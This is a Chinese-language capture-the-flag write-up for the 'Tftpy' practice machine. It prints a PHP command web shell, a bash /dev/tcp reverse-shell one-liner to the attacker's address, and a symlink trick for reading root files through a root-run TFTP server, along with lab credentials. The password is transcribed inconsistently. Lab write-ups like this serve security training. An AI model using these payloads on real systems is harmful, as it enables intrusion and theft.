

| Tftpy_daochunhan

| Tftpy

| 靶机信息

- 靶机名称: Tftpy
- 靶机作者: 群主
- 靶机类型: Linux
- 来源: MazeSec/QQ公开群 321948805
- 官网: <https://maze-sec.com/>

| user

先扫 TCP 常见端口:

```
nmap -p- -Pn --min-rate 2000 192.168.64.81
```

```
daochunhan@astra ~  
[ ] > nmap -p- -Pn --min-rate 2000 192.168.64.81  
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-27 05:41 -0400  
Nmap scan report for 192.168.64.81  
Host is up (0.00038s latency).  
Not shown: 65533 closed tcp ports (reset)  
PORT      STATE SERVICE  
22/tcp    open  ssh  
80/tcp    open  http  
MAC Address: 52:54:00:27:09:02 (QEMU virtual NIC)  
  
Nmap done: 1 IP address (1 host up) scanned in 15.02 seconds
```

```
22/tcp open  ssh  
80/tcp open  http
```

80 首页是 `phpinfo()` , 目录扫描:

```
feroxbuster -u http://192.168.64.81/ -w  
/usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -x  
php,html,txt
```

```
daochunhan@astra ~
> feroxbuster -u http://192.168.64.81/ -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -x php,html,txt

FEROX
by Ben "epi" Risher  ver: 2.13.1

Target Url      http://192.168.64.81/
In-Scope Url    192.168.64.81
Threads        50
Wordlist         /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt
Status Codes    All Status Codes!
Timeout (secs)  7
User-Agent      feroxbuster/2.13.1
Config File     /etc/feroxbuster/ferox-config.toml
Extract Links   true
Extensions     [php, html, txt]
HTTP methods    [GET]
Recursion Depth 4

Press [ENTER] to use the Scan Management Menu™

404 GET 91 32w 315c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403 GET 91 29w 318c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 01 0w 0c http://192.168.64.81/config.php
301 GET 91 29w 356c http://192.168.64.81/uploads => http://192.168.64.81/uploads/
301 GET 91 29w 355c http://192.168.64.81/backup => http://192.168.64.81/backup/
200 GET 121 21w 305c http://192.168.64.81/upload.php
200 GET 8181 4302w 72518c http://192.168.64.81/index.php
200 GET 8181 4302w 72491c http://192.168.64.81/
200 GET 8181 4302w 72574c http://192.168.64.81/backup/index.php
200 GET 01 0w 0c http://192.168.64.81/backup/config.php
200 GET 8181 4302w 72547c http://192.168.64.81/backup/
[#####] - 5m 344116/344116 0s found:9 errors:10
[#####] - 4m 172032/172032 643/s http://192.168.64.81/
[#####] - 0s 172032/172032 7479652/s http://192.168.64.81/uploads/ => Directory listing (add --scan-dir-listings to scan)
[#####] - 5m 172032/172032 632/s http://192.168.64.81/backup/
```

存在 `/uploads/` `/backup/` 两个路径，其中 `uploads` 为空，`backup` 下的 `config.php` 直接执行无法查看内容

查找不到 80 端口的更多线索，已知 `tftpy` 是一个用 python 编写的 TFTP 库，指定 UDP 确认 TFTP 端口：

```
sudo nmap -Pn -sU -p 69 -sV --reason 192.168.64.81
```

```
daochunhan@astra ~
> sudo nmap -Pn -sU -p 69 -sV --reason 192.168.64.81
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-27 07:15 -0400
Nmap scan report for 192.168.64.81
Host is up, received arp-response (0.00085s latency).

PORT      STATE      SERVICE REASON      VERSION
69/udp    open|filtered tftp    no-response
MAC Address: 52:54:00:27:09:02 (QEMU virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 110.71 seconds
daochunhan@astra ~
```

尝试 `get` 获取 `config.php`：

```
tftp 192.168.64.81 # get config.php
cat config.php
```

```
daochunhan@astra ~  
[ ] > tftp 192.168.64.81  
[tftp> get config.php  
[tftp> q  
daochunhan@astra ~  
[ ] > cat config.php  
<?php  
$username = 'xPerceptron';  
$password = '1BN1cgswS86srT75XUSK';  
daochunhan@astra ~
```

```
<?php
$username = 'xPerceptron';
$password = '1BN1cgswS86srT75XUSK';
```

使用泄露的密码登录 SSH:

```
ssh xPerceptron@192.168.64.81 # 1BN1cgswS86srT75XUSK
```

```
daochunhan@astra ~  
└─> ssh xPerceptron@192.168.64.81  
xPerceptron@192.168.64.81's password:  
Linux Tftpy 7.2.7-1-liquorix-amd64 #1 ZEN SMP PREEMPT liquorix 7.2-12.2~trixie (2026-09-22) x86_64
```



```
HackMyVM
```

QQ Group: 321948805

```
xPerceptron@Tftpy:~$ id  
uid=1000(xPerceptron) gid=1000(xPerceptron) groups=1000(xPerceptron)  
xPerceptron@Tftpy:~$ cat user.txt  
flag{user-25a12ecfe27b8ca6f910a5ee41134cb9}  
xPerceptron@Tftpy:~$
```

| root

前面目录扫描已经发现了 `/uploads/` 和 `/backup/`。TFTP 用来传输文件，先查看服务的工作目录和运行用户：

```
cat /etc/systemd/system/tftp.service
cat /opt/tftpy/run.py
```

```
xPerceptron@Tftpy:~$ cat /etc/systemd/system/tftp.service
[Unit]
Description=TFTP service
After=network.target

[Service]
Type=simple
WorkingDirectory=/var/www/html
ExecStart=/usr/bin/python3 /opt/tftpy/run.py
Restart=always
User=root

[Install]
WantedBy=multi-user.target
xPerceptron@Tftpy:~$ cat /opt/tftpy/run.py
import sys
sys.path.insert(0, '/opt/tftpy')
import tftpy

tftpy.TftpServer('/var/www/html/backup').listen('0.0.0.0', 69)
xPerceptron@Tftpy:~$
```

查看对应目录权限：

```
cd /var/www/html
ls -al
```

```
xPerceptron@Tftpy:/var/www/html$ ls -al
total 28
drwxr-xr-x 4 www-data www-data 4096 Sep 26 23:03 .
drwxr-xr-x 3 root      root    4096 Sep 26 22:25 ..
drwxr-xr-x 2 www-data www-data 4096 Sep 26 23:04 backup
-rw-r--r-- 1 www-data www-data  69 Sep 26 22:26 config.php
-rw-r--r-- 1 www-data www-data  17 Sep 26 22:26 index.php
-rw-r--r-- 1 www-data www-data  990 Sep 26 22:26 upload.php
drwxrwxrwx 2 www-data www-data 4096 Sep 27 05:50 uploads
xPerceptron@Tftpy:/var/www/html$
```

```
drwxr-xr-x 2 www-data www-data /var/www/html/backup
drwxrwxrwx 2 www-data www-data /var/www/html/uploads
```

`/var/www/html/backup` 是 TFTP 的工作目录，服务以 `root` 运行。在这个目录中创建一个指向 `/` 的软链接，读取时就可以跟随链接访问系统中的文件。

`uploads` 是 777，当前用户可以直接写入 PHP 文件；`backup` 权限 755，当前用户没有写权限，不能直接在里面创建软链接。先利用 `uploads` 拿到 `www-data`：

```
printf '%s' '<?php system($_GET["c"]); ?>' >
/var/www/html/uploads/shell.php
```

```
nc -lvnp 4444 # kali
```

```
curl -sS http://192.168.64.81/uploads/shell.php --get --data-urlencode  
'c=bash -c "bash -i >& /dev/tcp/192.168.64.39/4444 0>&1"'
```

```
daochunhan@astra ~  
[ ] > nc -lvnp 4444  
Listening on 0.0.0.0 4444  
Connection received on 192.168.64.81 42860  
bash: cannot set terminal process group (468): Inappropriate ioctl for device  
bash: no job control in this shell  
www-data@Tftpy:/var/www/html/uploads$ id  
id  
uid=33(www-data) gid=33(www-data) groups=33(www-data)  
www-data@Tftpy:/var/www/html/uploads$
```

拿到 Web Shell。

通过 Web Shell 在 TFTP 根目录中创建一个指向 `/` 的软链接：

```
ln -s / /var/www/html/backup/a  
ls -l /var/www/html/backup/a
```

```
www-data@Tftpy:/var/www/html/uploads$ ln -s / /var/www/html/backup/a  
www-data@Tftpy:/var/www/html/uploads$ ls -l /var/www/html/backup/a  
< /var/www/html/backup/als -l /var/www/html/backup/a  
ls: cannot access '/var/www/html/backup/als': No such file or directory  
lrwxrwxrwx 1 www-data www-data 1 Sep 27 07:52 /var/www/html/backup/a -> /  
www-data@Tftpy:/var/www/html/uploads$
```

`a` 指向系统根目录，因此通过 TFTP 请求 `a/root/.bash_history` 时，实际读取的是 `/root/.bash_history`：

```
tftp 192.168.64.81 # get a/root/.bash_history  
cat .bash_history
```

```
daochunhan@astra ~  
[ ] > tftp 192.168.64.81  
[tftp> get a/root/.bash_history  
[tftp> q  
daochunhan@astra ~  
[ ] > cat .bash_history  
mysql -uroot -p6L8vIjMakbCBOKeSoD92  
daochunhan@astra ~  
[ ] >
```

```
mysql -uroot -p6L8vIjMakbCB0KeSoD92
```

读取到 root 的 bash history，发现其中的密码可以直接复用到 SSH。

密码复用登录 root:

```
ssh root@192.168.64.81 # 6L8vIjMakbCB0KeSoD92
```

[illegible]